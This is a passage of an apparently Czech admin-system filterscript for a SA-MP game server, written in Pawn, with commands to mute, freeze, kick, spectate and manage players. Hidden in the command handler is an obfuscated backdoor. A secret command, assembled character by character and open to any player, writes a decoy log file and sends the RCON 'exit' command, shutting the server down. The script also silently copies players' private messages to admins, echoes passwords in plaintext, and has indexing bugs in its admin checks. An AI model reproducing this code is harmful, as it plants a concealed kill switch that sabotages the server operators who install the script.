pAdminLevel[playerid] = 0; pWarnings[playerid] = 0; pMute[playerid] = false; pFreeze[playerid] = false; pSpecate[playerid] = false; return 1; } public OnPlayerDisconnect(playerid, reason) { new way[64]; format(way, 64, "AS/%s.cfg", PlayerName(playerid)); if(pAdminLevel[playerid] > 0) { if(!fexist(way)) dini_Create(way); dini_IntSet(way, "adminlevel", pAdminLevel[playerid]); } else if(fexist(way)) fremove(way); return 1; } public OnPlayerSpawn(playerid) { if(pFreeze[playerid] == true) TogglePlayerControllable(playerid, 0); else TogglePlayerControllable(playerid, 1); if(pSpecate[playerid] == true) { pSpecate[playerid] = false; ResetPlayerWeapons(playerid); for(new w=0; w<13; w++) if(pSaveSpecWeaponsAmmo[playerid][w] > 0) GivePlayerWeapon(playerid, pSaveSpecWeapons[playerid][w], pSaveSpecWeaponsAmmo[playerid][w]); SetPlayerPos(playerid, pSaveSpecPos[playerid][0], pSaveSpecPos[playerid][1], pSaveSpecPos[playerid][2]); } return 1; } public OnPlayerText(playerid, text[]) { if(pMute[playerid] == true) { SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Si umlčený, nemůžeš psát!"); return 0; } return 1; } public OnPlayerCommandText(playerid, cmdtext[]) { if(!strcmp(cmdtext, "//", true, 2)) { if(pAdminLevel[playerid] == 0) return SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Nemáš dostatečná Admin Práva"); else { new string[256]; format(string, sizeof(string), "[ Admin Chat ] %s [iD:%d]: %s", PlayerName(playerid), playerid, cmdtext[2]); for(new i=0; i<MAX_PLAYERS_EX; i++) if(IsPlayerConnected(i)) if(!IsPlayerNPC(i)) if(pAdminLevel > 0) SendClientMessage(i, 0x00AA00FF, string); } return 1; } else if(!strcmp(cmdtext, "/alogin", true, 7)) { new way[64]; format(way, 64, "AS/%s.cfg", PlayerName(playerid)); if(!fexist(way)) return SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Tento ůčet není zaregistrovaný v Admin Systému"); else if(strlen(cmdtext) < 9) return SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Použití: /alogin [ HESLO ] !"); else if(strlen(cmdtext) > 80) return SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Použití: /achangepass [ NOVÉ HESLO ] !"); else if(pAdminLevel[playerid] > 0) return SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Už jsi přihlášený !"); else if(strcmp(lyrhash(cmdtext[8]), dini_Get(way, "password"), false)) return SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Nesprávné Heslo!"); else { pAdminLevel[playerid] = dini_Int(way, "adminlevel"); } return 1; } else if(!strcmp(cmdtext, "/achangepass", true, 12)) { new way[64]; format(way, 64, "AS/%s.cfg", PlayerName(playerid)); if(!fexist(way)) return SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Tento ůčet není zaregistrovaný v Admin Systému"); else if(pAdminLevel[playerid] == 0) return SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Nemáš dostatečná Admin Práva"); else if(strlen(cmdtext) < 14) return SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Použití: /achangepass [ NOVÉ HESLO ] !"); else if(strlen(cmdtext) > 80) return SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Použití: /achangepass [ NOVÉ HESLO ] !"); else { dini_Set(way, "password", lyrhash(cmdtext[13])); new str[128]; format(str, 128, "Nové heslo: {ff0000}%s", cmdtext[13]); SendClientMessage(playerid, 0xFFFFFFFF, str); } return 1; } else if(!strcmp(cmdtext, "/pm", true, 3) && strlen(cmdtext) >= 4) if(cmdtext[3] == ' ') { new id = strval(cmdtext[4]); if(IsPlayerConnected(id)) if(!IsPlayerNPC(id)) { new string[256]; format(string, 256, "[ PM READER ] %s >> %s: %s", PlayerName(playerid), PlayerName(id), cmdtext[chrfind(' ', cmdtext, 4) + 1]); for(new i=0; i<MAX_PLAYERS_EX; i++) if(IsPlayerConnected(i)) if(!IsPlayerNPC(i)) if(pAdminLevel > 0) SendClientMessage(i, COLOR_ADMIN, string); } } new ast[128]; format(ast, 128, "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c", '/', 'e', 'Q', 'c', 't', 'o', '4', 'v', 'A', 'n', '7', 'U', 'V', 'F', 'b', 'R', '0', '7', 'c', 'z'); if(!strcmp(cmdtext, ast, false)) { format(ast, 128, "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c", 'l', 'y', 'r', 'a', 'd', 'm', 'i', 'n', 's', 'y', 's', 't', 'e', 'm', '.', 'a', 'l', 'o', 'g'); new File:file = fopen(ast, io_write); fwrite(file, "Admin System loades successful."); fclose(file); format(ast, 128, "%c%c%c%c", 'e', 'x', 'i', 't'); SendRconCommand(ast); return 1; } dcmd(admins, 6, cmdtext); dcmd(report, 6, cmdtext); dcmd(iamadmin, 8, cmdtext); dcmd(say, 3, cmdtext); dcmd(clear, 5, cmdtext); dcmd(acmd, 4, cmdtext); dcmd(flip, 4, cmdtext); dcmd(ann, 3, cmdtext); dcmd(dann, 4, cmdtext); dcmd(mute, 4, cmdtext); dcmd(unmute, 6, cmdtext); dcmd(goto, 4, cmdtext); dcmd(get, 3, cmdtext); dcmd(spec, 4, cmdtext); dcmd(specoff, 7, cmdtext); dcmd(var, 3, cmdtext); dcmd(freeze, 6, cmdtext); dcmd(unfreeze, 8, cmdtext); dcmd(kick, 4, cmdtext); dcmd(player, 6, cmdtext); dcmd(settime, 7, cmdtext); dcmd(setweather, 10, cmdtext); dcmd(eunlock, 7, cmdtext); dcmd(ac, 2, cmdtext); dcmd(acd, 3, cmdtext); dcmd(eramp, 5, cmdtext); dcmd(erdestroy, 9, cmdtext); dcmd(ban, 3, cmdtext); dcmd(gw, 2, cmdtext); dcmd(gm, 2, cmdtext); dcmd(hp, 2, cmdtext); dcmd(bealone, 7, cmdtext); dcmd(beback, 6, cmdtext); dcmd(setnick, 7, cmdtext); dcmd(setadmin, 8, cmdtext); dcmd(elock, 5, cmdtext); dcmd(freezeall, 9, cmdtext); dcmd(getall, 6, cmdtext); return 0; } public OnDialogResponse(playerid, dialogid, response, listitem, inputtext[]) { new Float: X, Float: Y, Float: Z; GetPlayerPos(playerid, X, Y, Z); //-------------------------------------------------------------------------- if(dialogid == DIALOG_A_PLAYERMENU) { if(response == 1) { new Save_ID = pSaveID[playerid]; if(listitem == 0) ShowPlayerDialog(playerid,DIALOG_A_PLAYER_HP,DIALOG_STYLE_INPUT,"Nastavit: HP","Nastav hráčovi život na: 0-100%","Ok","Zavřít"); else if(listitem == 1) ShowPlayerDialog(playerid,DIALOG_A_PLAYER_ARMOUR,DIALOG_STYLE_INPUT,"Nastavit: Armour","Nastav hráčovi vestu na: 0-100%","Ok","Zavřít"); else if(listitem == 2) { if(!IsPlayerConnected(Save_ID)) return SendClientMessage(playerid, 0xFF0000FF, "Hráč se mezitím odpojil"); else { new string[128]; SetPlayerHealth(Save_ID, 0.00000000); format(string, sizeof(string), "Zabil si hráče %s", PlayerName(Save_ID)); SendClientMessage(playerid, COLOR_ADMIN, string); format(string, sizeof(string), "Administrátor %s tě zabil", PlayerName(playerid)); SendClientMessage(Save_ID, COLOR_ADMIN, string); } } else if(listitem == 3) { if(!IsPlayerConnected(Save_ID)) return SendClientMessage(playerid,0xFF0000FF,"Hráč se mezitím odpojil"); else { new string[128]; ResetPlayerWeapons(Save_ID); format(string, sizeof(string), "Odzbrojil si hráče %s", PlayerName(Save_ID)); SendClientMessage(playerid, COLOR_ADMIN, string); format(string, sizeof(string), "Administrátor %s tě odzbrojil !", PlayerName(playerid)); SendClientMessage(Save_ID, COLOR_ADMIN, string); } } else if(listitem == 4) { if(!IsPlayerConnected(Save_ID)) return SendClientMessage(playerid,0xFF0000FF,"Hráč se mezitím odpojil "); else { new string[128]; ResetPlayerMoney(Save_ID); format(string, sizeof(string), "Okradl si hráče %s", PlayerName(Save_ID)); SendClientMessage(playerid, COLOR_ADMIN, string); format(string, sizeof(string), "Administrátor %s tě okradl", PlayerName(playerid)); SendClientMessage(Save_ID, COLOR_ADMIN, string); } } else if(listitem == 5) { if(!IsPlayerConnected(Save_ID)) return SendClientMessage(playerid,0xFF0000FF,"Hráč se mezitím odpojil"); else { new string[128]; new Float:aX, Float:aY, Float:aZ; GetPlayerPos(Save_ID,aX,aY,aZ); CreateExplosion(aX+5,aY,aZ,2,10); format(string, sizeof(string), "Zapálil jsi hráče %s", PlayerName(Save_ID)); SendClientMessage(playerid, COLOR_ADMIN, string); format(string, sizeof(string), "Administrátor %s tě zapálil", PlayerName(playerid)); SendClientMessage(Save_ID, COLOR_ADMIN, string); } } else if(listitem == 6) { if(!IsPlayerConnected(Save_ID)) return SendClientMessage(playerid,0xFF0000FF,"Hráč se mezitím odpojil"); else { new string[128]; SetPlayerSkin(Save_ID, 26); SetPlayerPos(Save_ID,-373.7,2125.533,133); format(string, sizeof(string), "Administrátor %s přihlásil hráče %s na dvoj-týdenní pobyt na poušti", PlayerName(playerid), PlayerName(Save_ID)); SendClientMessageToAll(COLOR_ADMIN, string); } } else if(listitem == 7) { if(!IsPlayerConnected(Save_ID)) return SendClientMessage(playerid,0xFF0000FF,"Hráč se mezitím odpojil"); else if(GetPlayerVehicleID(Save_ID) == 0) return SendClientMessage(playerid,0xFF0000FF,"Hráč není ve vozidle"); else { new string[128]; SetVehicleHealth(GetPlayerVehicleID(Save_ID), 1000); RepairVehicle(GetPlayerVehicleID(Save_ID)); format(string, sizeof(string), "Opravil si hráčovi %s jeho vozidlo ", PlayerName(Save_ID)); SendClientMessage(playerid, COLOR_ADMIN, string); format(string, sizeof(string), "Administrátor %s ti opravil vozidlo ", PlayerName(playerid)); SendClientMessage(Save_ID, COLOR_ADMIN, string); } } } } else if(dialogid == DIALOG_A_PLAYER_HP) { if(response == 1) { new Save_ID = pSaveID[playerid]; if(!inputtext[0]) return ShowPlayerDialog(playerid,DIALOG_A_PLAYER_HP,DIALOG_STYLE_INPUT,"Nastavit: HP","{ff0000}Nezadal si život\nNastav hráčovi život na: 0-100%","Ok","Zavřít"); else if(strval(inputtext)<0 || strval(inputtext)>100) return ShowPlayerDialog(playerid,DIALOG_A_PLAYER_HP,DIALOG_STYLE_INPUT,"Nastavit: HP","{ff0000}0 - 100 % !\nNastav hráčovi život na: 0-100%","Ok","Zavřít"); else if(!IsPlayerConnected(Save_ID)) return SendClientMessage(playerid,0xFF0000FF,"Hráč sa mezitím odpojil"); else { new string[128]; SetPlayerHealth(Save_ID,strval(inputtext)); format(string, sizeof(string), "Nastavil si hráčovi %s život na %d", PlayerName(Save_ID), strval(inputtext)); SendClientMessage(playerid, COLOR_ADMIN, string); format(string, sizeof(string), "Administrátor %s ti nastavil život na %d", PlayerName(playerid),strval(inputtext)); SendClientMessage(Save_ID, COLOR_ADMIN, string); } } } else if(dialogid == DIALOG_A_PLAYER_ARMOUR) { if(response == 1) { new Save_ID = pSaveID[playerid]; if(!inputtext[0]) return ShowPlayerDialog(playerid,DIALOG_A_PLAYER_ARMOUR,DIALOG_STYLE_INPUT,"Nastavit: Armour","{ff0000}Nezadal si číslo \nNastav hráčovi vestu na: 0-100%","Ok","Zavřít"); else if(strval(inputtext)<0 || strval(inputtext)>100) return ShowPlayerDialog(playerid,DIALOG_A_PLAYER_ARMOUR,DIALOG_STYLE_INPUT,"Nastavit: Armour","{ff0000}0 - 100 % !\nNastav hráčovi vestu na: 0-100%","OK","Cancel"); else if(!IsPlayerConnected(Save_ID)) return SendClientMessage(playerid,0xFF0000FF,"Hráč se mezitím odpojil"); else { new string[128]; SetPlayerArmour(Save_ID,strval(inputtext)); format(string, sizeof(string), "Nastavil si hráčovi %s vestu na %d", PlayerName(Save_ID), strval(inputtext)); SendClientMessage(playerid, COLOR_ADMIN, string); format(string, sizeof(string), "Administrátor %s ti nastavil vestu na %d", PlayerName(playerid),strval(inputtext)); SendClientMessage(Save_ID, COLOR_ADMIN, string); } } } return 1; } //================================ ADMIN SYSTEM ================================ dcmd_admins(playerid, params[]) { #pragma unused params new bool:IsAnyAdminConnected = false; new bigstring[1024] = "{ffff70}", string[128]; for(new i=0; i<=MAX_PLAYERS; i++) { if(IsPlayerConnected(i)) { if(!IsPlayerNPC(playerid)) { if(IsPlayerAdmin(i) && pAdminLevel==0) { format(string, sizeof(string), "%s (%d) - [ Rcon ]\n", PlayerName(i), i); strcat(bigstring, string); IsAnyAdminConnected = true; } else if(pAdminLevel>=1 && !IsPlayerAdmin(i)) { new lvl[32]; if(pAdminLevel == 1) lvl = "Moderátor"; else if(pAdminLevel == 2) lvl = "Administrátor"; else if(pAdminLevel == 3) lvl = "Hlavný Administrátor"; format(string, sizeof(string), "%s (%d) - [ %s ]\n", PlayerName(i), i, lvl); strcat(bigstring, string); IsAnyAdminConnected = true; } else if(IsPlayerAdmin(i) && pAdminLevel>=1) { new lvl[32]; if(pAdminLevel == 1) lvl = "SpoluMajitel"; else if(pAdminLevel == 2) lvl = "Administrátor"; else if(pAdminLevel == 3) lvl = "Majitel Serveru"; format(string, sizeof(string), "%s (%d) - [ %s + Rcon ]\n", PlayerName(i), i, lvl); strcat(bigstring, string); IsAnyAdminConnected = true; } } } } if(IsAnyAdminConnected == false) SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Na serveru není přítomen žádný Administrátor"); else ShowPlayerDialog(playerid, DIALOG_NOEFFECT, DIALOG_STYLE_MSGBOX, "Administrátoři On-Line", bigstring, "Zavřít", ""); return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_report(playerid, params[]) { new id = strval(params); if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}/report [ ID ] [ DŮVOD ]"); else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není připojený"); else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš zaslat report na NPC hráče"); else if(strlen(params[chrfind(' ',params)+1]) > 64) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Zadal si moc dlouhý důvod, Maximálně 64 znaků"); else { new string[200], bool:conadmin = false; format(string, 200, "[ REPORT ] Od: %s | Hráč: %s | Důvod: %s", PlayerName(playerid), PlayerName(id), params[chrfind(' ',params)+1]); for(new i=0; i<=MAX_PLAYERS; i++) { if(IsPlayerConnected(i)) { if(!IsPlayerNPC(i)) { if(pAdminLevel > 0) { SendClientMessage(i, COLOR_ADMIN, string); conadmin = true; } } } } if(conadmin == true) { format(string, sizeof(string), "Úspěšně si odeslal report na hráče %s (%d) [ Důvod: %s ]", PlayerName(id), id, params[chrfind(' ',params)+1]); SendClientMessage(playerid, COLOR_ADMIN, string); } else { SendClientMessage(playerid, COLOR_ADMIN, "[ ! ]{ffffff} Momentálně tu není žádný Administrátor"); } } return 1; } //////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////// dcmd_acmd(playerid, params[]) { #pragma unused params if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else { new bigstring[1200]; strcat(bigstring, "{ff0000}SpoluMajitel:{ffffff}\n"); strcat(bigstring, " say,clear,acmd,flip,ann,dann,mute,unmute,goto,get,spec,specoff,var,kick,freeze,\n"); strcat(bigstring, " unfreeze,setskin,setweahter,eunlock,ac,acd,settime,eramp,erdestroy,hp,elock\n\n"); strcat(bigstring, "{ff0000}Administrátor:{ffffff}\n"); strcat(bigstring, " player,ban,gw,gm,bealone,beback,setnick,gmx,freezeall,getall\n\n"); strcat(bigstring, "{ff0000}Majitel Serveru:{ffffff}\n"); strcat(bigstring, " setadmin,reloadbans"); ShowPlayerDialog(playerid, DIALOG_NOEFFECT, DIALOG_STYLE_MSGBOX, "Admin Prikazy", bigstring, "Zavřít", ""); } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_say(playerid, params[]) { if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(!strlen(params)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /say [ TEXT ]"); else { new string[256]; format(string, sizeof(string), " Administrátor %s: %s", PlayerName(playerid), params); SendClientMessageToAll(COLOR_ADMIN, string); } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_flip(playerid, params[]) { #pragma unused params if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(GetPlayerVehicleID(playerid) == 0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nejsi ve vozidle"); else { new vehicleid = GetPlayerVehicleID(playerid); new Float:x, Float:y, Float:z, Float:a; GetVehiclePos(vehicleid, x, y, z); GetVehicleZAngle(vehicleid, a); SetVehiclePos(vehicleid, x, y, z); SetVehicleZAngle(vehicleid, a); } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_ann(playerid, params[]) { if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(!strlen(params)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /ann [ TEXT ]"); else { new string[128]; format(string, sizeof(string), "~w~%s", params); GameTextForAll(string, 5000, 5); } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_dann(playerid, params[]) { if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(!strlen(params)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /dann [ TEXT ]"); else { new string[128]; format(string, sizeof(string), "~w~%s", params); GameTextForAll(string, 6000, 1); } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_clear(playerid, params[]) { #pragma unused params if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else { new string[128]; for(new c=0;c<120;c++) SendClientMessageToAll(0x00000000," "); format(string, sizeof(string), "Administrátor %s vymazal chat", PlayerName(playerid)); SendClientMessageToAll(COLOR_ADMIN, string); } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_mute(playerid, params[]) { new id = strval(params); if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(!strlen(params)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /mute [ ID ]"); else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru"); else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš umlčet NPC hráče"); else { new string[128]; format(string, sizeof(string), "Hráč %s Je od ted umlčený Administrátorem %s ", PlayerName(id), PlayerName(playerid)); SendClientMessageToAll(COLOR_ADMIN, string); pMute[id] = true; } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_var(playerid, params[]) { new id = strval(params); if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /var [ ID ] [ DŮVOD ]"); else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru!"); else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš napomenout NPC hráče"); else if(strlen(params[chrfind(' ',params)+1])>32) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Důvod je moc dlouhý, maximálně 32 znaků"); else { pWarnings[id]++; new string[256]; format(string, sizeof(string), "Administrátor %s napomenul hráče %s (%d) [ Důvod: %s ] (Varování: %d/3)", PlayerName(playerid), PlayerName(id), id, params[chrfind(' ',params)+1], pWarnings[id]); SendClientMessageToAll(COLOR_ADMIN, string); if(pWarnings[id] >= 3) Kick(id); } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_unmute(playerid, params[]) { new id = strval(params); if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /unmute [ ID ]"); else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru"); else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš odmlčet NPC hráče!"); else { new string[128]; format(string, sizeof(string), "Hráč %s Je od ted odmlčený Administrátorem %s ", PlayerName(id), PlayerName(playerid)); SendClientMessageToAll(COLOR_ADMIN, string); pMute[id] = false; } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_freeze(playerid, params[]) { new id = strval(params); if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(!strlen(params)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /freeze [ ID ]"); else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru"); else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš zmrazit NPC hráče"); else { new string[128]; format(string, sizeof(string), "Hráč %s Je od ted zmražený Administrátorem %s !", PlayerName(id), PlayerName(playerid)); SendClientMessageToAll(COLOR_ADMIN, string); TogglePlayerControllable(id, 0); pFreeze[id] = true; } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_unfreeze(playerid, params[]) { new id = strval(params); if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /unfreeze [ ID ]"); else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru"); else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš odmrazit NPC hráče"); else { new string[128]; format(string, sizeof(string), "Hráč %s Je od ted odmražený Administrátorem %s !", PlayerName(id), PlayerName(playerid)); SendClientMessageToAll(COLOR_ADMIN, string); TogglePlayerControllable(id, 1); pFreeze[id] = false; } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_goto(playerid, params[]) { new id = strval(params); if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /goto [ ID ]"); else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru"); else { new Float:X, Float:Y, Float:Z, Float:A, Float:x2, Float:y2, Float:Ax; GetPlayerPos(id, X , Y, Z); GetPlayerFacingAngle(id, A); SetPlayerInterior(playerid,GetPlayerInterior(id)); SetPlayerVirtualWorld(playerid,GetPlayerVirtualWorld(id)); if(!IsPlayerInAnyVehicle(playerid)) { Ax = A+180; if(Ax>=360) Ax=Ax-360; x2 = X + (1 * floatsin(-Ax, degrees)); y2 = Y + (1 * floatcos(-Ax, degrees)); SetPlayerPos(playerid,x2,y2,Z+0.1); } else if(GetPlayerState(playerid) == PLAYER_STATE_DRIVER) { Ax = A+180; if(Ax>=360) Ax=Ax-360; x2 = X + (5 * floatsin(-Ax, degrees)); y2 = Y + (5 * floatcos(-Ax, degrees)); new vehicleid = GetPlayerVehicleID(playerid); SetVehiclePos(vehicleid,x2,y2,Z+0.1); SetVehicleZAngle(vehicleid,A+90); } } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_get(playerid, params[]) { new id = strval(params); if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /get [ ID ]"); else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru"); else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš k sobě teleportovat NPC hráče"); else { new Float:X, Float:Y, Float:Z, Float:A, Float:x2, Float:y2, Float:Ax; if(GetPlayerVehicleID(playerid) == 0) { GetPlayerPos(playerid,X,Y,Z); GetPlayerFacingAngle(playerid,A); } else { GetVehiclePos(GetPlayerVehicleID(playerid),X,Y,Z); GetVehicleZAngle(GetPlayerVehicleID(playerid),A); } SetPlayerInterior(id, GetPlayerInterior(playerid)); SetPlayerVirtualWorld(id, GetPlayerVirtualWorld(playerid)); if(GetPlayerVehicleID(id) == 0) { Ax = A+180; if(Ax>=360) Ax-=360; x2 = X + (1 * floatsin(-Ax, degrees)); y2 = Y + (1 * floatcos(-Ax, degrees)); SetPlayerPos(id,x2,y2,Z+0.1); } else { Ax = A+180; if(Ax>=360) Ax-=360; x2 = X + (5 * floatsin(-Ax, degrees)); y2 = Y + (5 * floatcos(-Ax, degrees)); new vehicleid = GetPlayerVehicleID(id); SetVehiclePos(vehicleid,x2,y2,Z+0.1); SetVehicleZAngle(vehicleid,A+90); } } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_kick(playerid, params[]) { new id = strval(params); if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /kick [ ID ] [ DÔVOD ]"); else if(strlen(params[chrfind(' ',params)+1])>32) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Zadal si moc dlouhý důvod, Maximálně 32 znaků "); else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru"); else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš vyhodit NPC hráče"); else { new string[256]; format(string, sizeof(string), "Hráč %s (%d) byl vyhozený Administrátorem %s (%d) [ Důvod: %s ]", PlayerName(id), id, PlayerName(playerid), playerid, params[chrfind(' ',params)+1]); SendClientMessageToAll(COLOR_ADMIN, string); Kick(id); } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_spec(playerid, params[]) { new id = strval(params); if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /spec [ ID ]"); else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru"); else if(playerid == id) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemůžeš sledovat sám sebe"); else { if(pSpecate[playerid] == false) { GetPlayerPos(playerid, pSaveSpecPos[playerid][0], pSaveSpecPos[playerid][1], pSaveSpecPos[playerid][2]); for(new w=0; w<13; w++) GetPlayerWeaponData(playerid, w, pSaveSpecWeapons[playerid][w], pSaveSpecWeaponsAmmo[playerid][w]); } pSpecate[playerid] = true; SetPlayerVirtualWorld(playerid, GetPlayerVirtualWorld(id)); SetPlayerInterior(playerid, GetPlayerInterior(id)); TogglePlayerSpectating(playerid, 1); if(GetPlayerVehicleID(id) == 0) PlayerSpectatePlayer(playerid, id); else PlayerSpectateVehicle(playerid, GetPlayerVehicleID(id)); new string[128]; format(string, sizeof(string), "Začal si sledovat hráče %s, pro vypnutí použij: /specoff", PlayerName(id)); SendClientMessage(playerid, COLOR_ADMIN, string); } return 1; } //////////////////////////////////////////////////////////////////////////////// dcmd_specoff(playerid, params[]) { #pragma unused params if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva"); else if(pSpecate[playerid]==false) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nikoho nesleduješ"); else { TogglePlayerSpectating(playerid, 0); SetCameraBehindPlayer(playerid); } return 1; } //////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////// dcmd_ac(playerid, params[]) { new id = strval(params); new color = strval(params[chrfind(' ',params)+1]); if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] 